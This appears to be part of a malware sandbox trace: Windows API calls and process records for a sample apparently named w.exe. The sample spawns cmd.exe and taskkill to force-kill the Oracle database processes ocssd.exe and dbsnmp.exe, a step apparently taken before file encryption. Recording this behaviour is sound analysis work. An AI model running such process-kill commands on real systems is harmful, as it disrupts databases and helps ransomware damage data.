	[0036.449] FreeEnvironmentStringsW (penv=0x404088) returned 1
	[0036.449] GetProcessHeap () returned 0x3f0000
	[0036.449] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x3ffed8 | out: hHeap=0x3f0000) returned 1
	[0036.449] DeleteProcThreadAttributeList (in: lpAttributeList=0x36f1e8 | out: lpAttributeList=0x36f1e8) 
	[0036.449] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0036.449] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0
	[0036.449] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0036.449] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a4f41ac | out: lpMode=0x4a4f41ac) returned 0
	[0036.449] _get_osfhandle (_FileHandle=0) returned 0xb8
	[0036.449] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a4f41b0 | out: lpMode=0x4a4f41b0) returned 0
	[0036.449] GetConsoleOutputCP () returned 0x1b5
	[0036.449] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4f4260 | out: lpCPInfo=0x4a4f4260) returned 1
	[0036.449] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0036.450] exit (_Code=128) 

Process:
	id = "17"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4cf37000"
	os_pid = "0x6ec"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "16"
	os_parent_pid = "0x2b0"
	cmd_line = "taskkill  /f /im ocssd.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 136
	os_tid = 0x664


Thread:
	id = 137
	os_tid = 0x640


Thread:
	id = 138
	os_tid = 0x488


Thread:
	id = 139
	os_tid = 0x694


Thread:
	id = 140
	os_tid = 0x6b4


Thread:
	id = 141
	os_tid = 0x5f4


Process:
	id = "18"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4dcd9000"
	os_pid = "0x998"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im dbsnmp.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 142
	os_tid = 0x990

	[0036.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fc58 | out: lpSystemTimeAsFileTime=0x16fc58*(dwLowDateTime=0xfb6f58a0, dwHighDateTime=0x1d52dc4)) 
	[0036.522] GetCurrentProcessId () returned 0x998
	[0036.522] GetCurrentThreadId () returned 0x990
	[0036.522] GetTickCount () returned 0x19645
	[0036.522] QueryPerformanceCounter (in: lpPerformanceCount=0x16fc50 | out: lpPerformanceCount=0x16fc50*=15683216508) returned 1
	[0036.523] GetModuleHandleA (lpModuleName=0x0) returned 0x4a5c0000
	[0036.523] __set_app_type (_Type=0x1) 
	[0036.523] __p__fmode () returned 0x74eb31f4
	[0036.523] __p__commode () returned 0x74eb31fc
	[0036.523] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a5e21a6) returned 0x0
	[0036.524] __getmainargs (in: _Argc=0x4a5e4238, _Argv=0x4a5e4240, _Env=0x4a5e423c, _DoWildCard=0, _StartInfo=0x4a5e4140 | out: _Argc=0x4a5e4238, _Argv=0x4a5e4240, _Env=0x4a5e423c) returned 0
	[0036.524] GetCurrentThreadId () returned 0x990
	[0036.524] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x990) returned 0x60
	[0036.524] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0036.524] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0036.524] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0036.524] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0036.524] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x16fbe8 | out: phkResult=0x16fbe8*=0x0) returned 0x2
	[0036.525] VirtualQuery (in: lpAddress=0x16fc1f, lpBuffer=0x16fbb8, dwLength=0x1c | out: lpBuffer=0x16fbb8*(BaseAddress=0x16f000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0036.525] VirtualQuery (in: lpAddress=0x70000, lpBuffer=0x16fbb8, dwLength=0x1c | out: lpBuffer=0x16fbb8*(BaseAddress=0x70000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0036.525] VirtualQuery (in: lpAddress=0x71000, lpBuffer=0x16fbb8, dwLength=0x1c | out: lpBuffer=0x16fbb8*(BaseAddress=0x71000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0036.525] VirtualQuery (in: lpAddress=0x73000, lpBuffer=0x16fbb8, dwLength=0x1c | out: lpBuffer=0x16fbb8*(BaseAddress=0x73000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0036.525] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x16fbb8, dwLength=0x1c | out: lpBuffer=0x16fbb8*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x2, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0036.525] GetConsoleOutputCP () returned 0x1b5
	[0036.525] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a5e4260 | out: lpCPInfo=0x4a5e4260) returned 1
	[0036.525] SetConsoleCtrlHandler (HandlerRoutine=0x4a5de72a, Add=1) returned 1
	[0036.525] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0036.525] SetConsoleMode (hConsoleHandle=0xb8, dwMode=0x0) returned 0
	[0036.525] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0036.525] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a5e41ac | out: lpMode=0x4a5e41ac) returned 0
	[0036.525] _get_osfhandle (_FileHandle=0) returned 0xac
	[0036.525] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a5e41b0 | out: lpMode=0x4a5e41b0) returned 0
	[0036.526] GetEnvironmentStringsW () returned 0x462008*
	[0036.526] GetProcessHeap () returned 0x450000
	[0036.526] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xaca) returned 0x462ae0
	[0036.526] FreeEnvironmentStringsW (penv=0x462008) returned 1
	[0036.526] GetProcessHeap () returned 0x450000
	[0036.526] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4) returned 0x460c40
	[0036.526] GetEnvironmentStringsW () returned 0x462008*
	[0036.526] GetProcessHeap () returned 0x450000
	[0036.526] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xaca) returned 0x4635b8
	[0036.526] FreeEnvironmentStringsW (penv=0x462008) returned 1
	[0036.526] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16eb58 | out: phkResult=0x16eb58*=0x68) returned 0x0
	[0036.526] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16eb60, lpData=0x16eb64, lpcbData=0x16eb5c*=0x1000 | out: lpType=0x16eb60*=0x0, lpData=0x16eb64*=0x0, lpcbData=0x16eb5c*=0x1000) returned 0x2
	[0036.526] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16eb60, lpData=0x16eb64, lpcbData=0x16eb5c*=0x1000 | out: lpType=0x16eb60*=0x4, lpData=0x16eb64*=0x1, lpcbData=0x16eb5c*=0x4) returned 0x0
	[0036.526] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16eb60, lpData=0x16eb64, lpcbData=0x16eb5c*=0x1000 | out: lpType=0x16eb60*=0x0, lpData=0x16eb64*=0x1, lpcbData=0x16eb5c*=0x1000) returned 0x2
	[0036.526] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16eb60, lpData=0x16eb64, lpcbData=0x16eb5c*=0x1000 | out: lpType=0x16eb60*=0x4, lpData=0x16eb64*=0x0, lpcbData=0x16eb5c*=0x4) returned 0x0
	[0036.526] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16eb60, lpData=0x16eb64, lpcbData=0x16eb5c*=0x1000 | out: lpType=0x16eb60*=0x4, lpData=0x16eb64*=0x40, lpcbData=0x16eb5c*=0x4) returned 0x0
	[0036.527] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16eb60, lpData=0x16eb64, lpcbData=0x16eb5c*=0x1000 | out: lpType=0x16eb60*=0x4, lpData=0x16eb64*=0x40, lpcbData=0x16eb5c*=0x4) returned 0x0
	[0036.527] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16eb60, lpData=0x16eb64, lpcbData=0x16eb5c*=0x1000 | out: lpType=0x16eb60*=0x0, lpData=0x16eb64*=0x40, lpcbData=0x16eb5c*=0x1000) returned 0x2
	[0036.527] RegCloseKey (hKey=0x68) returned 0x0
	[0036.527] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16eb58 | out: phkResult=0x16eb58*=0x68) returned 0x0
	[0036.527] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16eb60, lpData=0x16eb64, lpcbData=0x16eb5c*=0x1000 | out: lpType=0x16eb60*=0x0, lpData=0x16eb64*=0x40, lpcbData=0x16eb5c*=0x1000) returned 0x2
	[0036.527] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16eb60, lpData=0x16eb64, lpcbData=0x16eb5c*=0x1000 | out: lpType=0x16eb60*=0x4, lpData=0x16eb64*=0x1, lpcbData=0x16eb5c*=0x4) returned 0x0
	[0036.527] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16eb60, lpData=0x16eb64, lpcbData=0x16eb5c*=0x1000 | out: lpType=0x16eb60*=0x0, lpData=0x16eb64*=0x1, lpcbData=0x16eb5c*=0x1000) returned 0x2
	[0036.527] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16eb60, lpData=0x16eb64, lpcbData=0x16eb5c*=0x1000 | out: lpType=0x16eb60*=0x4, lpData=0x16eb64*=0x0, lpcbData=0x16eb5c*=0x4) returned 0x0
	[0036.527] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16eb60, lpData=0x16eb64, lpcbData=0x16eb5c*=0x1000 | out: lpType=0x16eb60*=0x4, lpData=0x16eb64*=0x9, lpcbData=0x16eb5c*=0x4) returned 0x0
	[0036.527] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16eb60, lpData=0x16eb64, lpcbData=0x16eb5c*=0x1000 | out: lpType=0x16eb60*=0x4, lpData=0x16eb64*=0x9, lpcbData=0x16eb5c*=0x4) returned 0x0
	[0036.527] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16eb60, lpData=0x16eb64, lpcbData=0x16eb5c*=0x1000 | out: lpType=0x16eb60*=0x0, lpData=0x16eb64*=0x9, lpcbData=0x16eb5c*=0x1000) returned 0x2
	[0036.527] RegCloseKey (hKey=0x68) returned 0x0
	[0036.527] time (in: timer=0x0 | out: timer=0x0) returned 0x5d16302d
	[0036.527] srand (_Seed=0x5d16302d) 
	[0036.527] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im dbsnmp.exe \""
	[0036.527] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im dbsnmp.exe \""
	[0036.527] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a5e5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0036.528] GetProcessHeap () returned 0x450000
	[0036.528] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x210) returned 0x462008
	[0036.528] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x462010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0036.528] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a5f0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0036.528] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a5f0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0036.528] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a5f0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0036.528] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0036.528] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0036.528] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0036.528] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0036.528] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0036.528] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0036.528] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0036.528] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0036.528] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0036.528] GetProcessHeap () returned 0x450000
	[0036.528] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x462ae0 | out: hHeap=0x450000) returned 1
	[0036.528] GetEnvironmentStringsW () returned 0x462220*
	[0036.528] GetProcessHeap () returned 0x450000
	[0036.528] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xae2) returned 0x464b80
	[0036.529] FreeEnvironmentStringsW (penv=0x462220) returned 1
	[0036.529] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a5f0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0036.529] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a5f0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0036.529] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0036.529] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0036.529] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0036.529] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0036.529] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0036.529] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0036.529] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0036.529] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0036.529] GetProcessHeap () returned 0x450000
	[0036.529] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x54) returned 0x465670
	[0036.529] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x16f924 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0036.529] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x16f924, lpFilePart=0x16f920 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f920*="Desktop") returned 0x25
	[0036.529] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0036.529] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x16f6a0 | out: lpFindFileData=0x16f6a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x461e88
	[0036.529] FindClose (in: hFindFile=0x461e88 | out: hFindFile=0x461e88) returned 1
	[0036.529] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x16f6a0 | out: lpFindFileData=0x16f6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x461e88
	[0036.530] FindClose (in: hFindFile=0x461e88 | out: hFindFile=0x461e88) returned 1
	[0036.530] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0036.530] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x16f6a0 | out: lpFindFileData=0x16f6a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x461e88
	[0036.530] FindClose (in: hFindFile=0x461e88 | out: hFindFile=0x461e88) returned 1
	[0036.530] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0036.530] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0036.530] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0036.530] GetProcessHeap () returned 0x450000
	[0036.530] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464b80 | out: hHeap=0x450000) returned 1
	[0036.530] GetEnvironmentStringsW () returned 0x464090*
	[0036.530] GetProcessHeap () returned 0x450000
	[0036.530] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb36) returned 0x465ed0
	[0036.530] FreeEnvironmentStringsW (penv=0x464090) returned 1
	[0036.530] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a5e5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0036.530] GetProcessHeap () returned 0x450000
	[0036.530] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x465670 | out: hHeap=0x450000) returned 1
	[0036.530] GetProcessHeap () returned 0x450000
	[0036.530] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400e) returned 0x466a10
	[0036.531] GetProcessHeap () returned 0x450000
	[0036.531] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x48) returned 0x461e88
	[0036.531] GetProcessHeap () returned 0x450000
	[0036.531] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4008) returned 0x46aa28
	[0036.531] GetProcessHeap () returned 0x450000
	[0036.531] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4008) returned 0x46ea38
	[0036.532] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0036.533] GetProcessHeap () returned 0x450000
	[0036.533] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x418) returned 0x462d60
	[0036.533] SetErrorMode (uMode=0x0) returned 0x8003
	[0036.533] SetErrorMode (uMode=0x1) returned 0x0
	[0036.533] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x462d68, lpFilePart=0x16f89c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x16f89c*="f") returned 0x31
	[0036.533] SetErrorMode (uMode=0x8003) returned 0x1
	[0036.533] GetProcessHeap () returned 0x450000
	[0036.533] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x462d60, Size=0x8a) returned 0x462d60
	[0036.533] GetProcessHeap () returned 0x450000
	[0036.533] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x462d60) returned 0x8a
	[0036.533] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0036.533] GetProcessHeap () returned 0x450000
	[0036.533] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x72) returned 0x472a60
	[0036.533] GetProcessHeap () returned 0x450000
	[0036.533] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xd8) returned 0x462df8
	[0036.534] GetProcessHeap () returned 0x450000
	[0036.534] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x462df8, Size=0x72) returned 0x462df8
	[0036.534] GetProcessHeap () returned 0x450000
	[0036.534] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x462df8) returned 0x72
	[0036.534] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a5f0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0036.534] GetProcessHeap () returned 0x450000
	[0036.534] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe0) returned 0x462e78
	[0036.537] GetProcessHeap () returned 0x450000
	[0036.537] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x462e78, Size=0x76) returned 0x462e78
	[0036.537] GetProcessHeap () returned 0x450000
	[0036.537] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x462e78) returned 0x76
	[0036.537] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0036.537] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im dbsnmp.exe ", fInfoLevelId=0x1, lpFindFileData=0x16f638, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16f638) returned 0xffffffff
	[0036.538] GetLastError () returned 0x3
	[0036.538] GetProcessHeap () returned 0x450000
	[0036.538] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x46aa28 | out: hHeap=0x450000) returned 1
	[0036.538] GetProcessHeap () returned 0x450000
	[0036.538] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x46ea38 | out: hHeap=0x450000) returned 1
	[0036.538] GetProcessHeap () returned 0x450000
	[0036.538] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466a10 | out: hHeap=0x450000) returned 1
	[0036.538] GetConsoleOutputCP () returned 0x1b5
	[0036.538] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a5e4260 | out: lpCPInfo=0x4a5e4260) returned 1
	[0036.538] GetUserDefaultLCID () returned 0x409
	[0036.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a5e4950, cchData=8 | out: lpLCData=":") returned 2
	[0036.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x16fa64, cchData=128 | out: lpLCData="0") returned 2
	[0036.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x16fa64, cchData=128 | out: lpLCData="0") returned 2
	[0036.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x16fa64, cchData=128 | out: lpLCData="1") returned 2
	[0036.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a5e4940, cchData=8 | out: lpLCData="/") returned 2
	[0036.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a5e4d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0036.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a5e4d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0036.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a5e4d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0036.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a5e4cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0036.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a5e4c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0036.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a5e4c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0036.539] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a5e4c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0036.539] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a5e4930, cchData=8 | out: lpLCData=".") returned 2
	[0036.539] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a5e4920, cchData=8 | out: lpLCData=",") returned 2
	[0036.540] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0036.540] GetProcessHeap () returned 0x450000
	[0036.540] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20c) returned 0x462f30
	[0036.540] GetConsoleTitleW (in: lpConsoleTitle=0x462f30, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0036.541] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0036.541] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0036.541] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0036.541] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0036.541] GetProcessHeap () returned 0x450000
	[0036.541] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400a) returned 0x466a10
	[0036.541] GetProcessHeap () returned 0x450000
	[0036.541] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466a10 | out: hHeap=0x450000) returned 1
	[0036.542] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0036.542] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
